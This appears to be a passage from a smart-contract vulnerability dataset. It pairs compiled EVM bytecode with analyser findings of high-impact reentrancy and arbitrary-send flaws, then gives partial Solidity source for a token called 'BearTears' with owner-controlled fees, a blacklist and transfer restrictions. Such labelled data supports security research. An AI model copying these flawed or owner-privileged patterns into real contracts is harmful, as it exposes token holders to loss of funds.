0000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f444f4a4920f09f90b60000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b603c42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122057134ee0ead2eda20e952fc758ebac7de1fecd19e9b3588fe8edba77cef07bc864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 143 |
0x826eb69cfb247166c63f4fa737c365b0d7c274a6 | /*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BearTears is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "BearTears";
string private constant _symbol = 'BearTears';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 14;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
